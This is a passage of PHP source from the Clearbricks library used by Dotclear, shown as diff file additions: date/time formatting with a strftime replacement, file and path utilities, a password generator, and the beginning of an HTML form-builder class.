$ipad = str_repeat(chr(0x36), $blocksize);
$opad = str_repeat(chr(0x5c), $blocksize);
$hmac = pack('H*', $hashfunc(($key ^ $opad) . pack('H*', $hashfunc(($key ^ $ipad) . $data))));
return bin2hex($hmac);
}
/**
* Password generator
*
* Returns an n characters random password.
*
* @param integer $length required length
*
* @return string
*/
public static function createPassword(int $length = 8): string
{
// First shuffle charset random time (from 1 to 10)
$charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890$!@';
for ($x = 1; $x <= random_int(1, 10); $x++) {
$charset = str_shuffle($charset);
}
// Then generate a random password from the resulting charset
$password = '';
for ($s = 1; $s <= $length; $s++) {
$password .= substr($charset, random_int(0, strlen($charset) - 1), 1);
}
return $password;
}
}

View file

@ -0,0 +1,517 @@
<?php
/**
* @class dt
* @brief Date/time utilities
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class dt
{
private static $timezones = null;
/**
* strftime() replacement when PHP version PHP 8.1
*
* Adapted from: <https://github.com/alphp/strftime>
*
* Locale-formatted strftime using IntlDateFormatter (PHP 8.1 compatible)
* This provides a cross-platform alternative to strftime() for when it will be removed from PHP.
* Note that output can be slightly different between libc sprintf and this function as it is using ICU.
*
* Usage:
* use function \PHP81_BC\strftime;
* echo strftime('%A %e %B %Y %X', new \DateTime('2021-09-28 00:00:00'), 'fr_FR');
*
* Original use:
* \setlocale(LC_TIME, 'fr_FR.UTF-8');
* echo \strftime('%A %e %B %Y %X', strtotime('2021-09-28 00:00:00'));
*
* @param string $format Date format
* @param integer|string|DateTime $timestamp Timestamp
*
* @return string
*
* @author BohwaZ <https://bohwaz.net/>
*/
public static function strftime(string $format, $timestamp = null, ?string $locale = null): string
{
if (version_compare(PHP_VERSION, '8.1', '<')) {
return @strftime($format, $timestamp);
}
if (!($timestamp instanceof DateTimeInterface)) {
$timestamp = is_int($timestamp) ? '@' . $timestamp : (string) $timestamp;
try {
$timestamp = new DateTime($timestamp);
} catch (Exception $e) {
throw new InvalidArgumentException('$timestamp argument is neither a valid UNIX timestamp, a valid date-time string or a DateTime object.', 0, $e);
}
}
$timestamp->setTimezone(new DateTimeZone(date_default_timezone_get()));
if (empty($locale)) {
// get current locale
$locale = setlocale(LC_TIME, '0');
}
// remove trailing part not supported by ext-intl locale
$locale = preg_replace('/[^\w-].*$/', '', $locale);
$intl_formats = [
'%a' => 'EEE', // An abbreviated textual representation of the day Sun through Sat
'%A' => 'EEEE', // A full textual representation of the day Sunday through Saturday
'%b' => 'MMM', // Abbreviated month name, based on the locale Jan through Dec
'%B' => 'MMMM', // Full month name, based on the locale January through December
'%h' => 'MMM', // Abbreviated month name, based on the locale (an alias of %b) Jan through Dec
];
$intl_formatter = function (DateTimeInterface $timestamp, string $format) use ($intl_formats, $locale) {
$tz = $timestamp->getTimezone();
$date_type = IntlDateFormatter::FULL;
$time_type = IntlDateFormatter::FULL;
$pattern = '';
switch ($format) {
// %c = Preferred date and time stamp based on locale
// Example: Tue Feb 5 00:45:10 2009 for February 5, 2009 at 12:45:10 AM
case '%c':
$date_type = IntlDateFormatter::LONG;
$time_type = IntlDateFormatter::SHORT;
break;
// %x = Preferred date representation based on locale, without the time
// Example: 02/05/09 for February 5, 2009
case '%x':
$date_type = IntlDateFormatter::SHORT;
$time_type = IntlDateFormatter::NONE;
break;
// Localized time format
case '%X':
$date_type = IntlDateFormatter::NONE;
$time_type = IntlDateFormatter::MEDIUM;
break;
default:
$pattern = $intl_formats[$format];
}
// In October 1582, the Gregorian calendar replaced the Julian in much of Europe, and
// the 4th October was followed by the 15th October.
// ICU (including IntlDateFormattter) interprets and formats dates based on this cutover.
// Posix (including strftime) and timelib (including DateTimeImmutable) instead use
// a "proleptic Gregorian calendar" - they pretend the Gregorian calendar has existed forever.
// This leads to the same instants in time, as expressed in Unix time, having different representations
// in formatted strings.
// To adjust for this, a custom calendar can be supplied with a cutover date arbitrarily far in the past.
$calendar = IntlGregorianCalendar::createInstance();
$calendar->setGregorianChange(PHP_INT_MIN);
return (new IntlDateFormatter($locale, $date_type, $time_type, $tz, $calendar, $pattern))->format($timestamp);
};
// Same order as https://www.php.net/manual/en/function.strftime.php
$translation_table = [
// Day
'%a' => $intl_formatter,
'%A' => $intl_formatter,
'%d' => 'd',
'%e' => fn ($timestamp) => sprintf('% 2u', $timestamp->format('j')),
'%j' => function ($timestamp) {
// Day number in year, 001 to 366
return sprintf('%03d', $timestamp->format('z') + 1);
},
'%u' => 'N',
'%w' => 'w',
// Week
'%U' => function ($timestamp) {
// Number of weeks between date and first Sunday of year
$day = new DateTime(sprintf('%d-01 Sunday', $timestamp->format('Y')));
return sprintf('%02u', 1 + ($timestamp->format('z') - $day->format('z')) / 7);
},
'%V' => 'W',
'%W' => function ($timestamp) {
// Number of weeks between date and first Monday of year
$day = new DateTime(sprintf('%d-01 Monday', $timestamp->format('Y')));
return sprintf('%02u', 1 + ($timestamp->format('z') - $day->format('z')) / 7);
},
// Month
'%b' => $intl_formatter,
'%B' => $intl_formatter,
'%h' => $intl_formatter,
'%m' => 'm',
// Year
'%C' => function ($timestamp) {
// Century (-1): 19 for 20th century
return floor($timestamp->format('Y') / 100);
},
'%g' => fn ($timestamp) => substr($timestamp->format('o'), -2),
'%G' => 'o',
'%y' => 'y',
'%Y' => 'Y',
// Time
'%H' => 'H',
'%k' => fn ($timestamp) => sprintf('% 2u', $timestamp->format('G')),
'%I' => 'h',
'%l' => fn ($timestamp) => sprintf('% 2u', $timestamp->format('g')),
'%M' => 'i',
'%p' => 'A', // AM PM (this is reversed on purpose!)
'%P' => 'a', // am pm
'%r' => 'h:i:s A', // %I:%M:%S %p
'%R' => 'H:i', // %H:%M
'%S' => 's',
'%T' => 'H:i:s', // %H:%M:%S
'%X' => $intl_formatter, // Preferred time representation based on locale, without the date
// Timezone
'%z' => 'O',
'%Z' => 'T',
// Time and Date Stamps
'%c' => $intl_formatter,
'%D' => 'm/d/Y',
'%F' => 'Y-m-d',
'%s' => 'U',
'%x' => $intl_formatter,
];
$out = preg_replace_callback('/(?<!%)%([_#-]?)([a-zA-Z])/', function ($match) use ($translation_table, $timestamp) {
$prefix = $match[1];
$char = $match[2];
$pattern = '%' . $char;
if ($pattern == '%n') {
return "\n";
} elseif ($pattern == '%t') {
return "\t";
}
if (!isset($translation_table[$pattern])) {
throw new InvalidArgumentException(sprintf('Format "%s" is unknown in time format', $pattern));
}
$replace = $translation_table[$pattern];
if (is_string($replace)) {
$result = $timestamp->format($replace);
} else {
$result = $replace($timestamp);
}
switch ($prefix) {
case '_':
// replace leading zeros with spaces but keep last char if also zero
return preg_replace('/\G0(?=.)/', ' ', $result);
case '#':
case '-':
// remove leading zeros but keep last char if also zero
return preg_replace('/^0+(?=.)/', '', $result);
}
return $result;
}, $format);
$out = str_replace('%%', '%', $out);
return $out;
}
/**
* Timestamp formating
*
* Returns a date formated like PHP <a href="http://www.php.net/manual/en/function.strftime.php">strftime</a>
* function.
* Special cases %a, %A, %b and %B are handled by {@link l10n} library.
*
* @param string $pattern Format pattern
* @param int|bool $timestamp Timestamp
* @param string $timezone Timezone
*
* @return string
*/
public static function str(string $pattern, $timestamp = null, string $timezone = null): string
{
if ($timestamp === null || $timestamp === false) {
$timestamp = time();
}
$hash = '799b4e471dc78154865706469d23d512';
$pattern = preg_replace('/(?<!%)%(a|A)/', '{{' . $hash . '__$1%w__}}', $pattern);
$pattern = preg_replace('/(?<!%)%(b|B)/', '{{' . $hash . '__$1%m__}}', $pattern);
if ($timezone) {
$current_timezone = self::getTZ();
self::setTZ($timezone);
}
$res = self::strftime($pattern, $timestamp);
if ($timezone) {
self::setTZ($current_timezone);
}
$res = preg_replace_callback(
'/{{' . $hash . '__(a|A|b|B)([0-9]{1,2})__}}/',
function ($args) {
$b = [
1 => '_Jan',
2 => '_Feb',
3 => '_Mar',
4 => '_Apr',
5 => '_May',
6 => '_Jun',
7 => '_Jul',
8 => '_Aug',
9 => '_Sep',
10 => '_Oct',
11 => '_Nov',
12 => '_Dec', ];
$B = [
1 => 'January',
2 => 'February',
3 => 'March',
4 => 'April',
5 => 'May',
6 => 'June',
7 => 'July',
8 => 'August',
9 => 'September',
10 => 'October',
11 => 'November',
12 => 'December', ];
$a = [
1 => '_Mon',
2 => '_Tue',
3 => '_Wed',
4 => '_Thu',
5 => '_Fri',
6 => '_Sat',
0 => '_Sun', ];
$A = [
1 => 'Monday',
2 => 'Tuesday',
3 => 'Wednesday',
4 => 'Thursday',
5 => 'Friday',
6 => 'Saturday',
0 => 'Sunday', ];
return __(${$args[1]}[(int) $args[2]]);
},
$res
);
return $res;
}
/**
* Date to date
*
* Format a literal date to another literal date.
*
* @param string $pattern Format pattern
* @param string $datetime Date
* @param string $timezone Timezone
*
* @return string
*/
public static function dt2str(string $pattern, string $datetime, ?string $timezone = null): string
{
return self::str($pattern, strtotime($datetime), $timezone);
}
/**
* ISO-8601 formatting
*
* Returns a timestamp converted to ISO-8601 format.
*
* @param integer $timestamp Timestamp
* @param string $timezone Timezone
*
* @return string
*/
public static function iso8601(int $timestamp, string $timezone = 'UTC'): string
{
$offset = self::getTimeOffset($timezone, $timestamp);
$printed_offset = sprintf('%02u:%02u', abs($offset) / 3600, (abs($offset) % 3600) / 60);
return date('Y-m-d\\TH:i:s', $timestamp) . ($offset < 0 ? '-' : '+') . $printed_offset;
}
/**
* RFC-822 formatting
*
* Returns a timestamp converted to RFC-822 format.
*
* @param integer $timestamp Timestamp
* @param string $timezone Timezone
*
* @return string
*/
public static function rfc822(int $timestamp, string $timezone = 'UTC'): string
{
# Get offset
$offset = self::getTimeOffset($timezone, $timestamp);
$printed_offset = sprintf('%02u%02u', abs($offset) / 3600, (abs($offset) % 3600) / 60);
// Avoid deprecated notice until PHP 9 should be supported or a correct strftime() replacement
return @strftime('%a, %d %b %Y %H:%M:%S ' . ($offset < 0 ? '-' : '+') . $printed_offset, $timestamp);
}
/**
* Timezone set
*
* Set timezone during script execution.
*
* @param string $timezone Timezone
*/
public static function setTZ(string $timezone)
{
if (function_exists('date_default_timezone_set')) {
date_default_timezone_set($timezone);
return;
}
putenv('TZ=' . $timezone);
}
/**
* Current timezone
*
* Returns current timezone.
*
* @return string
*/
public static function getTZ(): string
{
if (function_exists('date_default_timezone_get')) {
return date_default_timezone_get();
}
return date('T');
}
/**
* Time offset
*
* Get time offset for a timezone and an optionnal $ts timestamp.
*
* @param string $timezone Timezone
* @param integer|boolean $timestamp Timestamp
*
* @return integer
*/
public static function getTimeOffset(string $timezone, $timestamp = false): int
{
if (!$timestamp) {
$timestamp = time();
}
$server_timezone = self::getTZ();
$server_offset = date('Z', $timestamp);
self::setTZ($timezone);
$current_offset = date('Z', $timestamp);
self::setTZ($server_timezone);
return $current_offset - $server_offset;
}
/**
* UTC conversion
*
* Returns any timestamp from current timezone to UTC timestamp.
*
* @param integer $timestamp Timestamp
*
* @return integer
*/
public static function toUTC(int $timestamp): int
{
return $timestamp + self::getTimeOffset('UTC', $timestamp);
}
/**
* Add timezone
*
* Returns a timestamp with its timezone offset.
*
* @param string $timezone Timezone
* @param integer|boolean $timestamp Timestamp
*
* @return integer
*/
public static function addTimeZone(string $timezone, $timestamp = false): int
{
if ($timestamp === false) {
$timestamp = time();
}
return $timestamp + self::getTimeOffset($timezone, $timestamp);
}
/**
* Timzones
*
* Returns an array of supported timezones, codes are keys and names are values.
*
* @param boolean $flip Names are keys and codes are values
* @param boolean $groups Return timezones in arrays of continents
*
* @return array
*/
public static function getZones(bool $flip = false, bool $groups = false): array
{
if (is_null(self::$timezones)) {
// Read timezones from file
if (!is_readable($file = dirname(__FILE__) . '/tz.dat')) {
return [];
}
$timezones = file($file);
$res = [];
foreach ($timezones as $timezone) {
$timezone = trim($timezone);
if ($timezone) {
$res[$timezone] = str_replace('_', ' ', $timezone);
}
}
// Store timezones for further accesses
self::$timezones = $res;
} else {
// Timezones already read from file
$res = self::$timezones;
}
if ($flip) {
$res = array_flip($res);
if ($groups) {
$tmp = [];
foreach ($res as $code => $timezone) {
$group = explode('/', $code);
$tmp[$group[0]][$code] = $timezone;
}
$res = $tmp;
}
}
return $res;
}
}

View file

@ -0,0 +1,659 @@
<?php
/**
* @class files
* @brief Files manipulation utilities
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class files
{
/**
* Default directories mode
*
* @var int|null
*/
public static $dir_mode = null;
/**
* MIME types
*
* @var array
*/
public static $mime_types = [
'odt' => 'application/vnd.oasis.opendocument.text',
'odp' => 'application/vnd.oasis.opendocument.presentation',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'sxw' => 'application/vnd.sun.xml.writer',
'sxc' => 'application/vnd.sun.xml.calc',
'sxi' => 'application/vnd.sun.xml.impress',
'ppt' => 'application/mspowerpoint',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'xls' => 'application/msexcel',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'pdf' => 'application/pdf',
'ps' => 'application/postscript',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'json' => 'application/json',
'xml' => 'application/xml',
'bin' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'bz2' => 'application/x-bzip',
'deb' => 'application/x-debian-package',
'gz' => 'application/x-gzip',
'jar' => 'application/x-java-archive',
'rar' => 'application/rar',
'rpm' => 'application/x-redhat-package-manager',
'tar' => 'application/x-tar',
'tgz' => 'application/x-gtar',
'zip' => 'application/zip',
'aiff' => 'audio/x-aiff',
'ua' => 'audio/basic',
'mp3' => 'audio/mpeg3',
'mid' => 'audio/x-midi',
'midi' => 'audio/x-midi',
'ogg' => 'application/ogg',
'ra' => 'audio/x-pn-realaudio',
'ram' => 'audio/x-pn-realaudio',
'wav' => 'audio/x-wav',
'wma' => 'audio/x-ms-wma',
'swf' => 'application/x-shockwave-flash',
'swfl' => 'application/x-shockwave-flash',
'js' => 'application/javascript',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'ico' => 'image/vnd.microsoft.icon',
'jpeg' => 'image/jpeg',
'jpg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'svg' => 'image/svg+xml',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'webp' => 'image/webp',
'xbm' => 'image/x-xbitmap',
'css' => 'text/css',
'csv' => 'text/csv',
'html' => 'text/html',
'htm' => 'text/html',
'txt' => 'text/plain',
'rtf' => 'text/richtext',
'rtx' => 'text/richtext',
'mpg' => 'video/mpeg',
'mpeg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'ogv' => 'video/ogg',
'viv' => 'video/vnd.vivo',
'vivo' => 'video/vnd.vivo',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'mp4' => 'video/mp4',
'm4v' => 'video/x-m4v',
'flv' => 'video/x-flv',
'avi' => 'video/x-msvideo',
'wmv' => 'video/x-ms-wmv',
];
/**
* Directory scanning
*
* Returns a directory child files and directories.
*
* @param string $directory Path to scan
* @param boolean $order Order results
*
* @return array
*/
public static function scandir(string $directory, bool $order = true): array
{
$res = [];
$handle = @opendir($directory);
if ($handle === false) {
throw new Exception(__('Unable to open directory.'));
}
while (($file = readdir($handle)) !== false) {
$res[] = $file;
}
closedir($handle);
if ($order) {
sort($res);
}
return $res;
}
/**
* File extension
*
* Returns a file extension.
*
* @param string $filename File name
*
* @return string
*/
public static function getExtension(string $filename): string
{
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
/**
* MIME type
*
* Returns a file MIME type, based on static var {@link $mime_types}
*
* @param string $filename File name
*
* @return string
*/
public static function getMimeType(string $filename): string
{
$ext = self::getExtension($filename);
$types = self::mimeTypes();
if (isset($types[$ext])) {
return $types[$ext];
}
return 'application/octet-stream';
}
/**
* MIME types
*
* Returns all defined MIME types.
*
* @return array
*/
public static function mimeTypes(): array
{
return self::$mime_types;
}
/**
* New MIME types
*
* Append new MIME types to defined MIME types.
*
* @param array $types New MIME types.
*/
public static function registerMimeTypes(array $types): void
{
self::$mime_types = array_merge(self::$mime_types, $types);
}
/**
* Is a file or directory deletable.
*
* Returns true if $f is a file or directory and is deletable.
*
* @param string $filename File or directory
*
* @return boolean
*/
public static function isDeletable(string $filename): bool
{
if (is_file($filename)) {
return is_writable(dirname($filename));
} elseif (is_dir($filename)) {
return (is_writable(dirname($filename)) && count(files::scandir($filename)) <= 2);
}
return false;
}
/**
* Recursive removal
*
* Remove recursively a directory.
*
* @param string $directory Directory patch
*
* @return boolean
*/
public static function deltree(string $directory): bool
{
$current_dir = opendir($directory);
while ($filename = readdir($current_dir)) {
if (is_dir($directory . '/' . $filename) && ($filename != '.' && $filename != '..')) {
if (!files::deltree($directory . '/' . $filename)) {
return false;
}
} elseif ($filename != '.' && $filename != '..') {
if (!@unlink($directory . '/' . $filename)) {
return false;
}
}
}
closedir($current_dir);
return @rmdir($directory);
}
/**
* Touch file
*
* Set file modification time to now.
*
* @param string $filename File to change
*/
public static function touch(string $filename): void
{
if (is_writable($filename)) {
@touch($filename);
}
}
/**
* Directory creation.
*
* Creates directory $f. If $r is true, attempts to create needed parents
* directories.
*
* @param string $name Directory to create
* @param boolean $recursive Create parent directories
*/
public static function makeDir(string $name, bool $recursive = false): void
{
if (empty($name)) {
return;
}
if (DIRECTORY_SEPARATOR == '\\') {
$name = str_replace('/', '\\', $name);
}
if (is_dir($name)) {
return;
}
if ($recursive) {
$path = path::real($name, false);
$directories = [];
while (!is_dir($path)) {
array_unshift($directories, basename($path));
$path = dirname($path);
}
foreach ($directories as $directory) {
$path .= DIRECTORY_SEPARATOR . $directory;
if ($directory != '' && !is_dir($path)) {
self::makeDir($path);
}
}
} else {
if (@mkdir($name) === false) {
throw new Exception(__('Unable to create directory.'));
}
self::inheritChmod($name);
}
}
/**
* Mode inheritage
*
* Sets file or directory mode according to its parent.
*
* @param string $file File to change
*/
public static function inheritChmod(string $file): bool
{
if (self::$dir_mode === null) {
return @chmod($file, @fileperms(dirname($file)));
}
return @chmod($file, self::$dir_mode);
}
/**
* Changes file content.
*
* Writes $f_content into $f file.
*
* @param string $file File to edit
* @param string $content Content to write
*
* @return bool
*/
public static function putContent(string $file, string $content): bool
{
if (file_exists($file) && !is_writable($file)) {
throw new Exception(__('File is not writable.'));
}
$handle = @fopen($file, 'w');
if ($handle === false) {
throw new Exception(__('Unable to open file.'));
}
fwrite($handle, $content, strlen($content));
fclose($handle);
return true;
}
/**
* Human readable file size.
*
* @param integer $size Bytes
*
* @return string
*/
public static function size(int $size): string
{
$kb = 1024;
$mb = 1024 * $kb;
$gb = 1024 * $mb;
$tb = 1024 * $gb;
if ($size < $kb) {
return $size . ' B';
} elseif ($size < $mb) {
return round($size / $kb, 2) . ' KB';
} elseif ($size < $gb) {
return round($size / $mb, 2) . ' MB';
} elseif ($size < $tb) {
return round($size / $gb, 2) . ' GB';
}
return round($size / $tb, 2) . ' TB';
}
/**
* Converts a human readable file size to bytes.
*
* @param string $size Size
*
* @return float
*/
public static function str2bytes(string $size): float
{
$size = trim($size);
$last = strtolower(substr($size, -1, 1));
$size = (float) substr($size, 0, -1);
switch ($last) {
case 'g':
$size *= 1024;
case 'm':
$size *= 1024;
case 'k':
$size *= 1024;
}
return $size;
}
/**
* Upload status
*
* Returns true if upload status is ok, throws an exception instead.
*
* @param array $file File array as found in $_FILES
*
* @return boolean
*/
public static function uploadStatus(array $file): bool
{
if (!isset($file['error'])) {
throw new Exception(__('Not an uploaded file.'));
}
switch ($file['error']) {
case UPLOAD_ERR_OK:
return true;
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
throw new Exception(__('The uploaded file exceeds the maximum file size allowed.'));
case UPLOAD_ERR_PARTIAL:
throw new Exception(__('The uploaded file was only partially uploaded.'));
case UPLOAD_ERR_NO_FILE:
throw new Exception(__('No file was uploaded.'));
case UPLOAD_ERR_NO_TMP_DIR:
throw new Exception(__('Missing a temporary folder.'));
case UPLOAD_ERR_CANT_WRITE:
throw new Exception(__('Failed to write file to disk.'));
case UPLOAD_ERR_EXTENSION:
throw new Exception(__('A PHP extension stopped the file upload.'));
default:
return true;
}
}
# Packages generation methods
#
/**
* Recursive directory scanning
*
* Returns an array of a given directory's content. The array contains two arrays: dirs and files.
* Directory's content is fetched recursively.
*
* @param string $directory Directory name
* @param array $list Contents array (leave it empty)
*
* @return array
*/
public static function getDirList(string $directory, array &$list = null): array
{
if (!$list) {
$list = [
'dirs' => [],
'files' => [],
];
}
$exclude_list = ['.', '..', '.svn', '.git', '.hg'];
$directory = preg_replace('|/$|', '', $directory);
if (!is_dir($directory)) {
throw new Exception(sprintf(__('%s is not a directory.'), $directory));
}
$list['dirs'][] = $directory;
$handle = @dir($directory);
if ($handle === false) {
throw new Exception(__('Unable to open directory.'));
}
while ($file = $handle->read()) {
if (!in_array($file, $exclude_list)) {
if (is_dir($directory . '/' . $file)) {
files::getDirList($directory . '/' . $file, $list);
} else {
$list['files'][] = $directory . '/' . $file;
}
}
}
$handle->close();
return $list;
}
/**
* Filename cleanup
*
* Removes unwanted characters in a filename.
*
* @param string $filename Filename
*
* @return string
*/
public static function tidyFileName(string $filename): string
{
$filename = preg_replace('/^[.]/u', '', text::deaccent($filename));
return preg_replace('/[^A-Za-z0-9._-]/u', '_', $filename);
}
}
/**
* @class path
* @brief Path manipulation utilities
*
* @package Clearbricks
* @subpackage Common
*/
class path
{
/**
* Returns the real path of a file.
*
* If parameter $strict is true, file should exist. Returns false if
* file does not exist.
*
* @param string $filename Filename
* @param boolean $strict File should exists
*
* @return string|false
*/
public static function real(string $filename, bool $strict = true)
{
$os = (DIRECTORY_SEPARATOR == '\\') ? 'win' : 'nix';
# Absolute path?
if ($os == 'win') {
$absolute = preg_match('/^\w+:/', $filename);
} else {
$absolute = substr($filename, 0, 1) == '/';
}
# Standard path form
if ($os == 'win') {
$filename = str_replace('\\', '/', $filename);
}
# Adding root if !$_abs
if (!$absolute) {
$filename = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . $filename;
}
# Clean up
$filename = preg_replace('|/+|', '/', $filename);
if (strlen($filename) > 1) {
$filename = preg_replace('|/$|', '', $filename);
}
$prefix = '';
if ($os == 'win') {
[$prefix, $filename] = explode(':', $filename);
$prefix .= ':/';
} else {
$prefix = '/';
}
$filename = substr($filename, 1);
# Go through
$parts = explode('/', $filename);
$res = [];
for ($i = 0; $i < count($parts); $i++) {
if ($parts[$i] == '.') {
continue;
}
if ($parts[$i] == '..') {
if (count($res) > 0) {
array_pop($res);
}
} else {
array_push($res, $parts[$i]);
}
}
$filename = $prefix . implode('/', $res);
if ($strict && !@file_exists($filename)) {
return false;
}
return $filename;
}
/**
* Returns a clean file path
*
* @param string $filename File path
*
* @return string
*/
public static function clean(?string $filename): string
{
// Remove double point (upper directory)
$filename = preg_replace(['|^\.\.|', '|/\.\.|', '|\.\.$|'], '', (string) $filename);
// Replace double slashes by one
$filename = preg_replace('|/{2,}|', '/', (string) $filename);
// Remove trailing slash
$filename = preg_replace('|/$|', '', (string) $filename);
return $filename;
}
/**
* Path information
*
* Returns an array of information:
* - dirname
* - basename
* - extension
* - base (basename without extension)
*
* @param string $filename File path
*
* @return array
*/
public static function info(string $filename): array
{
$pathinfo = pathinfo($filename);
$res = [];
$res['dirname'] = (string) $pathinfo['dirname'];
$res['basename'] = (string) $pathinfo['basename'];
$res['extension'] = $pathinfo['extension'] ?? '';
$res['base'] = preg_replace('/\.' . preg_quote($res['extension'], '/') . '$/', '', $res['basename']);
return $res;
}
/**
* Full path with root
*
* Returns a path with root concatenation unless path begins with a slash
*
* @param string $path File path
* @param string $root Root path
*
* @return string
*/
public static function fullFromRoot(string $path, string $root): string
{
if (substr($path, 0, 1) == '/') {
return $path;
}
return $root . '/' . $path;
}
}

View file

@ -0,0 +1,960 @@
<?php
/**
* @class form
* @brief HTML Forms creation helpers
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class form
{
/**
* return id and name from given argument
*
* @param string|array $nid input argument
* @param string $name returned name
* @param string $id returned id
*
* @static
* @access private
*/
private static function getNameAndId($nid, &$name, &$id): void
{
if (is_array($nid)) {
$name = $nid[0];
$id = !empty($nid[1]) ? $nid[1] : null;
} else {
$name = $id = $nid;
}
}
/**
* return an associative array of optional parameters of a class method
*
* @param string $class class name
* @param string $method method name
* @return array
*
* @static
* @access private
*/
private static function getDefaults(string $class, string $method): array
{
$options = [];
$reflect = new ReflectionMethod($class, $method);
foreach ($reflect->getParameters() as $param) {
if ($param->isOptional()) {
$options[$param->getName()] = $param->getDefaultValue();
}
}
return $options;
}
/**
* Select Box
*
* Returns HTML code for a select box.
* **$nid** could be a string or an array of name and ID.
* **$data** is an array with option titles keys and values in values
* or an array of object of type {@link formSelectOption}. If **$data** is an array of
* arrays, optgroups will be created.
*
* **$default** could be a string or an associative array of any of optional parameters:
*
* ```php
* form::combo(['name', 'id'], $data, ['class' => 'maximal', 'extra_html' => 'data-language="php"']);
* ```
*
* @uses formSelectOption
*
* @param string|array $nid Element ID and name
* @param mixed $data Select box data
* @param mixed $default Default value in select box | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
*
* @return string
*
* @static
*/
public static function combo(
$nid,
$data,
$default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = ''
): string {
self::getNameAndId($nid, $name, $id);
if (func_num_args() > 2 && is_array($default)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($default, $options));
extract($args);
}
return '<select name="' . $name . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($tabindex ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($disabled ? 'disabled ' : '') .
$extra_html .
'>' . "\n" .
self::comboOptions($data, $default) .
'</select>' . "\n";
}
private static function comboOptions(array $data, $default): string
{
$res = '';
$option = '<option value="%1$s"%3$s>%2$s</option>' . "\n";
$optgroup = '<optgroup label="%1$s">' . "\n" . '%2$s' . "</optgroup>\n";
foreach ($data as $k => $v) {
if (is_array($v)) {
$res .= sprintf($optgroup, $k, self::comboOptions($v, $default));
} elseif ($v instanceof formSelectOption) {
$res .= $v->render($default);
} else {
$s = ((string) $v == (string) $default) ? ' selected="selected"' : '';
$res .= sprintf($option, $v, $k, $s);
}
}
return $res;
}
/**
* Radio button
*
* Returns HTML code for a radio button.
* $nid could be a string or an array of name and ID.
* $checked could be a boolean or an associative array of any of optional parameters
*
* @param string|array $nid Element ID and name
* @param mixed $value Element value
* @param mixed $checked True if checked | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
*
* @return string
*
* @static
*/
public static function radio(
$nid,
$value,
$checked = false,
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = ''
): string {
self::getNameAndId($nid, $name, $id);
if (func_num_args() > 2 && is_array($checked)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($checked, $options));
extract($args);
}
return '<input type="radio" name="' . $name . '" value="' . $value . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($checked ? 'checked ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($tabindex ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($disabled ? 'disabled ' : '') .
$extra_html .
'/>' . "\n";
}
/**
* Checkbox
*
* Returns HTML code for a checkbox.
* $nid could be a string or an array of name and ID.
* $checked could be a boolean or an associative array of any of optional parameters
*
* @param string|array $nid Element ID and name
* @param mixed $value Element value
* @param mixed $checked True if checked | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
*
* @return string
*
* @static
*/
public static function checkbox(
$nid,
$value,
$checked = false,
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = ''
): string {
self::getNameAndId($nid, $name, $id);
if (func_num_args() > 2 && is_array($checked)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($checked, $options));
extract($args);
}
return '<input type="checkbox" name="' . $name . '" value="' . $value . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($checked ? 'checked ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($tabindex ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($disabled ? 'disabled ' : '') .
$extra_html .
' />' . "\n";
}
/**
* Input field
*
* Returns HTML code for an input field.
* $nid could be a string or an array of name and ID.
* $default could be a string or an associative array of any of optional parameters
*
* @param string|array $nid Element ID and name
* @param integer $size Element size
* @param integer $max Element maxlength
* @param mixed $default Element value | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $type Input type
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function field(
$nid,
?int $size,
?int $max,
$default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $type = 'text',
?string $autocomplete = ''
): string {
self::getNameAndId($nid, $name, $id);
